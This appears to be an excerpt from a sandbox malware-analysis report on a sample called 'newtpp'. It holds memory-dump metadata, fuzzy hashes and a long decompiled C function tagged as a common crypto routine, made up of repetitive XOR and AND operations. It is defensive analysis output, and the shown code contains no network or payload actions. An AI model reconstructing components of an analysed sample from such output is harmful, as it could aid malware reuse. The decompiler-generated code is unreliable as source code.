Y, xrefs: 00406630

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: 09cbb751b792f03c7f6d5a955a369f2f8d676be8134a4cde34a5b795885ac806
Instruction ID: 81f0246d34d418f551b066bcc026a41a7d0f506a16a213b2528972a7a3f3234d
Opcode Fuzzy Hash: 09cbb751b792f03c7f6d5a955a369f2f8d676be8134a4cde34a5b795885ac806
Instruction Fuzzy Hash: 38D22A79D11619EFCB54CF99C18099EFBF1FF88360F62859AD845AB305C630AA91DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00406639 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406639() {
				signed int _t1392;
				signed int _t1393;
				signed int _t1394;
				signed int _t1398;
				signed int _t1408;
				intOrPtr _t1409;
				signed int _t1419;
				intOrPtr _t1420;
				signed int _t1430;
				intOrPtr _t1431;
				signed int _t1441;
				intOrPtr _t1442;
				signed int _t1452;
				intOrPtr _t1453;
				signed int _t1463;
				intOrPtr _t1464;
				signed int _t1474;
				intOrPtr _t1475;
				signed int _t1485;
				intOrPtr _t1486;
				signed int _t1496;
				intOrPtr _t1497;
				signed int _t1507;
				intOrPtr _t1508;
				signed int _t1518;
				intOrPtr _t1519;
				signed int _t1529;
				intOrPtr _t1530;
				signed int _t1540;
				intOrPtr _t1541;
				signed int _t1551;
				intOrPtr _t1552;
				signed int _t1562;
				intOrPtr _t1563;
				intOrPtr _t1572;
				intOrPtr _t1573;
				intOrPtr _t1574;
				signed int _t1575;
				signed int _t1581;
				signed int _t1582;
				signed int _t1583;
				signed int _t1584;
				signed int _t1588;
				signed int _t1591;
				signed int _t1592;
				signed int _t1593;
				signed int _t1594;
				signed int _t1598;
				signed int _t1601;
				signed int _t1602;
				signed int _t1603;
				signed int _t1604;
				signed int _t1608;
				signed int _t1611;
				signed int _t1612;
				signed int _t1613;
				signed int _t1614;
				signed int _t1618;
				signed int _t1621;
				signed int _t1622;
				signed int _t1623;
				signed int _t1624;
				signed int _t1628;
				signed int _t1631;
				signed int _t1632;
				signed int _t1633;
				signed int _t1634;
				signed int _t1638;
				signed int _t1641;
				signed int _t1642;
				signed int _t1643;
				signed int _t1644;
				signed int _t1648;
				signed int _t1651;
				signed int _t1652;
				signed int _t1653;
				signed int _t1654;
				signed int _t1658;
				signed int _t1661;
				signed int _t1662;
				signed int _t1663;
				signed int _t1664;
				signed int _t1668;
				signed int _t1671;
				signed int _t1672;
				signed int _t1673;
				signed int _t1674;
				signed int _t1678;
				signed int _t1681;
				signed int _t1682;
				signed int _t1683;
				signed int _t1684;
				signed int _t1688;
				signed int _t1691;
				signed int _t1692;
				signed int _t1693;
				signed int _t1694;
				signed int _t1698;
				signed int _t1701;
				signed int _t1702;
				signed int _t1703;
				signed int _t1704;
				signed int _t1708;
				signed int _t1711;
				signed int _t1712;
				signed int _t1713;
				signed int _t1714;
				signed int _t1718;
				signed int _t1721;
				signed int _t1722;
				signed int _t1723;
				signed int _t1724;
				signed int _t1728;
				signed int _t1731;
				signed int _t1743;
				intOrPtr _t1744;
				intOrPtr _t1750;
				intOrPtr _t1751;
				intOrPtr _t1752;
				signed int _t1753;
				intOrPtr _t1762;
				intOrPtr _t1763;
				intOrPtr _t1764;
				signed int _t1765;
				intOrPtr _t1774;
				intOrPtr _t1775;
				intOrPtr _t1776;
				signed int _t1777;
				intOrPtr _t1786;
				intOrPtr _t1787;
				intOrPtr _t1788;
				signed int _t1789;
				intOrPtr _t1798;
				intOrPtr _t1799;
				intOrPtr _t1800;
				signed int _t1801;
				intOrPtr _t1810;
				intOrPtr _t1811;
				intOrPtr _t1812;
				signed int _t1813;
				intOrPtr _t1822;
				intOrPtr _t1823;
				intOrPtr _t1824;
				signed int _t1825;
				intOrPtr _t1834;
				intOrPtr _t1835;
				intOrPtr _t1836;
				signed int _t1837;
				intOrPtr _t1846;
				intOrPtr _t1847;
				intOrPtr _t1848;
				signed int _t1849;
				intOrPtr _t1858;
				intOrPtr _t1859;
				intOrPtr _t1860;
				signed int _t1861;
				intOrPtr _t1870;
				intOrPtr _t1871;
				intOrPtr _t1872;
				signed int _t1873;
				intOrPtr _t1882;
				intOrPtr _t1883;
				intOrPtr _t1884;
				signed int _t1885;
				intOrPtr _t1894;
				intOrPtr _t1895;
				intOrPtr _t1896;
				signed int _t1897;
				intOrPtr _t1906;
				intOrPtr _t1907;
				intOrPtr _t1908;
				signed int _t1909;
				intOrPtr _t1918;
				intOrPtr _t1919;
				intOrPtr _t1920;
				signed int _t1921;
				intOrPtr _t2038;
				intOrPtr _t2039;
				intOrPtr _t2040;
				intOrPtr _t2045;
				intOrPtr _t2046;
				intOrPtr _t2047;
				intOrPtr _t2052;
				intOrPtr _t2053;
				intOrPtr _t2054;
				intOrPtr _t2059;
				intOrPtr _t2060;
				intOrPtr _t2061;
				intOrPtr _t2066;
				intOrPtr _t2067;
				intOrPtr _t2068;
				intOrPtr _t2073;
				intOrPtr _t2074;
				intOrPtr _t2075;
				intOrPtr _t2080;
				intOrPtr _t2081;
				intOrPtr _t2082;
				intOrPtr _t2087;
				intOrPtr _t2088;
				intOrPtr _t2089;
				intOrPtr _t2094;
				intOrPtr _t2095;
				intOrPtr _t2096;
				intOrPtr _t2101;
				intOrPtr _t2102;
				intOrPtr _t2103;
				intOrPtr _t2108;
				intOrPtr _t2109;
				intOrPtr _t2110;
				intOrPtr _t2115;
				intOrPtr _t2116;
				intOrPtr _t2117;
				intOrPtr _t2122;
				intOrPtr _t2123;
				intOrPtr _t2124;
				intOrPtr _t2129;
				intOrPtr _t2130;
				intOrPtr _t2131;
				intOrPtr _t2136;
				intOrPtr _t2137;
				intOrPtr _t2138;
				intOrPtr _t2143;
				intOrPtr _t2144;
				intOrPtr _t2145;
				void* _t2149;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t2149 - 0x1c)) =  *((intOrPtr*)(_t2149 - 0x1c)) + 0x10;
					L1:
					_t1391 =  *(_t2149 + 0xc) << 4;
					if( *((intOrPtr*)(_t2149 - 0x1c)) < _t1391) {
						L2:
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1392 =  *(_t2149 - 0xc);
						_t1572 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1572 + _t1392 * 8 - 0x2c8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1572 + _t1392 * 8 - 0x2c4);
						_t1393 =  *(_t2149 - 0xc);
						_t1573 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1573 + _t1393 * 8 - 0x88);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1573 + _t1393 * 8 - 0x84);
						_t1394 =  *(_t2149 - 0xc);
						_t1574 =  *((intOrPtr*)(_t2149 + 8));
						_t1743 =  *(_t2149 - 0xc);
						_t2038 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1574 + _t1394 * 8 - 0x90) &  *(_t2038 + _t1743 * 8 - 0xa8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1574 + _t1394 * 8 - 0x8c) &  *(_t2038 + _t1743 * 8 - 0xa4) ^  *(_t2149 - 4);
						_t1575 =  *(_t2149 - 0xc);
						_t1744 =  *((intOrPtr*)(_t2149 + 8));
						_t1398 =  *(_t2149 - 0xc);
						_t2039 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1744 + _t1575 * 8 - 0xf8) &  *(_t2039 + _t1398 * 8 - 0x218) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1744 + _t1575 * 8 - 0xf4) &  *(_t2039 + _t1398 * 8 - 0x214) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1581 =  *(_t2149 - 0xc);
						_t2040 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2040 + _t1581 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2040 + 4 + _t1581 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1582 =  *(_t2149 - 0xc);
						_t1750 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1750 + _t1582 * 8 - 0x2c0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1750 + _t1582 * 8 - 0x2bc);
						_t1583 =  *(_t2149 - 0xc);
						_t1751 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1751 + _t1583 * 8 - 0x80);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1751 + _t1583 * 8 - 0x7c);
						_t1584 =  *(_t2149 - 0xc);
						_t1752 =  *((intOrPtr*)(_t2149 + 8));
						_t1408 =  *(_t2149 - 0xc);
						_t2045 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1752 + _t1584 * 8 - 0x88) &  *(_t2045 + _t1408 * 8 - 0xa0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1752 + _t1584 * 8 - 0x84) &  *(_t2045 + _t1408 * 8 - 0x9c) ^  *(_t2149 - 4);
						_t1753 =  *(_t2149 - 0xc);
						_t1409 =  *((intOrPtr*)(_t2149 + 8));
						_t1588 =  *(_t2149 - 0xc);
						_t2046 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1409 + _t1753 * 8 - 0xf0) &  *(_t2046 + _t1588 * 8 - 0x210) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1409 + _t1753 * 8 - 0xec) &  *(_t2046 + _t1588 * 8 - 0x20c) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1591 =  *(_t2149 - 0xc);
						_t2047 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2047 + 8 + _t1591 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2047 + 0xc + _t1591 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1592 =  *(_t2149 - 0xc);
						_t1762 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1762 + _t1592 * 8 - 0x2b8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1762 + _t1592 * 8 - 0x2b4);
						_t1593 =  *(_t2149 - 0xc);
						_t1763 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1763 + _t1593 * 8 - 0x78);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1763 + _t1593 * 8 - 0x74);
						_t1594 =  *(_t2149 - 0xc);
						_t1764 =  *((intOrPtr*)(_t2149 + 8));
						_t1419 =  *(_t2149 - 0xc);
						_t2052 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1764 + _t1594 * 8 - 0x80) &  *(_t2052 + _t1419 * 8 - 0x98) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1764 + _t1594 * 8 - 0x7c) &  *(_t2052 + _t1419 * 8 - 0x94) ^  *(_t2149 - 4);
						_t1765 =  *(_t2149 - 0xc);
						_t1420 =  *((intOrPtr*)(_t2149 + 8));
						_t1598 =  *(_t2149 - 0xc);
						_t2053 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1420 + _t1765 * 8 - 0xe8) &  *(_t2053 + _t1598 * 8 - 0x208) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1420 + _t1765 * 8 - 0xe4) &  *(_t2053 + _t1598 * 8 - 0x204) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1601 =  *(_t2149 - 0xc);
						_t2054 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2054 + 0x10 + _t1601 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2054 + 0x14 + _t1601 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1602 =  *(_t2149 - 0xc);
						_t1774 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1774 + _t1602 * 8 - 0x2b0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1774 + _t1602 * 8 - 0x2ac);
						_t1603 =  *(_t2149 - 0xc);
						_t1775 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1775 + _t1603 * 8 - 0x70);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1775 + _t1603 * 8 - 0x6c);
						_t1604 =  *(_t2149 - 0xc);
						_t1776 =  *((intOrPtr*)(_t2149 + 8));
						_t1430 =  *(_t2149 - 0xc);
						_t2059 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1776 + _t1604 * 8 - 0x78) &  *(_t2059 + _t1430 * 8 - 0x90) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1776 + _t1604 * 8 - 0x74) &  *(_t2059 + _t1430 * 8 - 0x8c) ^  *(_t2149 - 4);
						_t1777 =  *(_t2149 - 0xc);
						_t1431 =  *((intOrPtr*)(_t2149 + 8));
						_t1608 =  *(_t2149 - 0xc);
						_t2060 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1431 + _t1777 * 8 - 0xe0) &  *(_t2060 + _t1608 * 8 - 0x200) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1431 + _t1777 * 8 - 0xdc) &  *(_t2060 + _t1608 * 8 - 0x1fc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1611 =  *(_t2149 - 0xc);
						_t2061 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2061 + 0x18 + _t1611 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2061 + 0x1c + _t1611 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1612 =  *(_t2149 - 0xc);
						_t1786 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1786 + _t1612 * 8 - 0x2a8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1786 + _t1612 * 8 - 0x2a4);
						_t1613 =  *(_t2149 - 0xc);
						_t1787 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1787 + _t1613 * 8 - 0x68);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1787 + _t1613 * 8 - 0x64);
						_t1614 =  *(_t2149 - 0xc);
						_t1788 =  *((intOrPtr*)(_t2149 + 8));
						_t1441 =  *(_t2149 - 0xc);
						_t2066 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1788 + _t1614 * 8 - 0x70) &  *(_t2066 + _t1441 * 8 - 0x88) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1788 + _t1614 * 8 - 0x6c) &  *(_t2066 + _t1441 * 8 - 0x84) ^  *(_t2149 - 4);
						_t1789 =  *(_t2149 - 0xc);
						_t1442 =  *((intOrPtr*)(_t2149 + 8));
						_t1618 =  *(_t2149 - 0xc);
						_t2067 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1442 + _t1789 * 8 - 0xd8) &  *(_t2067 + _t1618 * 8 - 0x1f8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1442 + _t1789 * 8 - 0xd4) &  *(_t2067 + _t1618 * 8 - 0x1f4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1621 =  *(_t2149 - 0xc);
						_t2068 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2068 + 0x20 + _t1621 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2068 + 0x24 + _t1621 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1622 =  *(_t2149 - 0xc);
						_t1798 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1798 + _t1622 * 8 - 0x2a0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1798 + _t1622 * 8 - 0x29c);
						_t1623 =  *(_t2149 - 0xc);
						_t1799 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1799 + _t1623 * 8 - 0x60);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1799 + _t1623 * 8 - 0x5c);
						_t1624 =  *(_t2149 - 0xc);
						_t1800 =  *((intOrPtr*)(_t2149 + 8));
						_t1452 =  *(_t2149 - 0xc);
						_t2073 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1800 + _t1624 * 8 - 0x68) &  *(_t2073 + _t1452 * 8 - 0x80) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1800 + _t1624 * 8 - 0x64) &  *(_t2073 + _t1452 * 8 - 0x7c) ^  *(_t2149 - 4);
						_t1801 =  *(_t2149 - 0xc);
						_t1453 =  *((intOrPtr*)(_t2149 + 8));
						_t1628 =  *(_t2149 - 0xc);
						_t2074 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1453 + _t1801 * 8 - 0xd0) &  *(_t2074 + _t1628 * 8 - 0x1f0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1453 + _t1801 * 8 - 0xcc) &  *(_t2074 + _t1628 * 8 - 0x1ec) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1631 =  *(_t2149 - 0xc);
						_t2075 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2075 + 0x28 + _t1631 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2075 + 0x2c + _t1631 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1632 =  *(_t2149 - 0xc);
						_t1810 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1810 + _t1632 * 8 - 0x298);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1810 + _t1632 * 8 - 0x294);
						_t1633 =  *(_t2149 - 0xc);
						_t1811 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1811 + _t1633 * 8 - 0x58);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1811 + _t1633 * 8 - 0x54);
						_t1634 =  *(_t2149 - 0xc);
						_t1812 =  *((intOrPtr*)(_t2149 + 8));
						_t1463 =  *(_t2149 - 0xc);
						_t2080 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1812 + _t1634 * 8 - 0x60) &  *(_t2080 + _t1463 * 8 - 0x78) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1812 + _t1634 * 8 - 0x5c) &  *(_t2080 + _t1463 * 8 - 0x74) ^  *(_t2149 - 4);
						_t1813 =  *(_t2149 - 0xc);
						_t1464 =  *((intOrPtr*)(_t2149 + 8));
						_t1638 =  *(_t2149 - 0xc);
						_t2081 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1464 + _t1813 * 8 - 0xc8) &  *(_t2081 + _t1638 * 8 - 0x1e8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1464 + _t1813 * 8 - 0xc4) &  *(_t2081 + _t1638 * 8 - 0x1e4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1641 =  *(_t2149 - 0xc);
						_t2082 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2082 + 0x30 + _t1641 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2082 + 0x34 + _t1641 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1642 =  *(_t2149 - 0xc);
						_t1822 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1822 + _t1642 * 8 - 0x290);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1822 + _t1642 * 8 - 0x28c);
						_t1643 =  *(_t2149 - 0xc);
						_t1823 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1823 + _t1643 * 8 - 0x50);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1823 + _t1643 * 8 - 0x4c);
						_t1644 =  *(_t2149 - 0xc);
						_t1824 =  *((intOrPtr*)(_t2149 + 8));
						_t1474 =  *(_t2149 - 0xc);
						_t2087 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1824 + _t1644 * 8 - 0x58) &  *(_t2087 + _t1474 * 8 - 0x70) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1824 + _t1644 * 8 - 0x54) &  *(_t2087 + _t1474 * 8 - 0x6c) ^  *(_t2149 - 4);
						_t1825 =  *(_t2149 - 0xc);
						_t1475 =  *((intOrPtr*)(_t2149 + 8));
						_t1648 =  *(_t2149 - 0xc);
						_t2088 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1475 + _t1825 * 8 - 0xc0) &  *(_t2088 + _t1648 * 8 - 0x1e0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1475 + _t1825 * 8 - 0xbc) &  *(_t2088 + _t1648 * 8 - 0x1dc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1651 =  *(_t2149 - 0xc);
						_t2089 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2089 + 0x38 + _t1651 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2089 + 0x3c + _t1651 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1652 =  *(_t2149 - 0xc);
						_t1834 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1834 + _t1652 * 8 - 0x288);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1834 + _t1652 * 8 - 0x284);
						_t1653 =  *(_t2149 - 0xc);
						_t1835 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1835 + _t1653 * 8 - 0x48);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1835 + _t1653 * 8 - 0x44);
						_t1654 =  *(_t2149 - 0xc);
						_t1836 =  *((intOrPtr*)(_t2149 + 8));
						_t1485 =  *(_t2149 - 0xc);
						_t2094 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1836 + _t1654 * 8 - 0x50) &  *(_t2094 + _t1485 * 8 - 0x68) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1836 + _t1654 * 8 - 0x4c) &  *(_t2094 + _t1485 * 8 - 0x64) ^  *(_t2149 - 4);
						_t1837 =  *(_t2149 - 0xc);
						_t1486 =  *((intOrPtr*)(_t2149 + 8));
						_t1658 =  *(_t2149 - 0xc);
						_t2095 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1486 + _t1837 * 8 - 0xb8) &  *(_t2095 + _t1658 * 8 - 0x1d8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1486 + _t1837 * 8 - 0xb4) &  *(_t2095 + _t1658 * 8 - 0x1d4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1661 =  *(_t2149 - 0xc);
						_t2096 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2096 + 0x40 + _t1661 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2096 + 0x44 + _t1661 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1662 =  *(_t2149 - 0xc);
						_t1846 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1846 + _t1662 * 8 - 0x280);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1846 + _t1662 * 8 - 0x27c);
						_t1663 =  *(_t2149 - 0xc);
						_t1847 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1847 + _t1663 * 8 - 0x40);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1847 + _t1663 * 8 - 0x3c);
						_t1664 =  *(_t2149 - 0xc);
						_t1848 =  *((intOrPtr*)(_t2149 + 8));
						_t1496 =  *(_t2149 - 0xc);
						_t2101 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1848 + _t1664 * 8 - 0x48) &  *(_t2101 + _t1496 * 8 - 0x60) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1848 + _t1664 * 8 - 0x44) &  *(_t2101 + _t1496 * 8 - 0x5c) ^  *(_t2149 - 4);
						_t1849 =  *(_t2149 - 0xc);
						_t1497 =  *((intOrPtr*)(_t2149 + 8));
						_t1668 =  *(_t2149 - 0xc);
						_t2102 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1497 + _t1849 * 8 - 0xb0) &  *(_t2102 + _t1668 * 8 - 0x1d0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1497 + _t1849 * 8 - 0xac) &  *(_t2102 + _t1668 * 8 - 0x1cc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1671 =  *(_t2149 - 0xc);
						_t2103 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2103 + 0x48 + _t1671 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2103 + 0x4c + _t1671 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
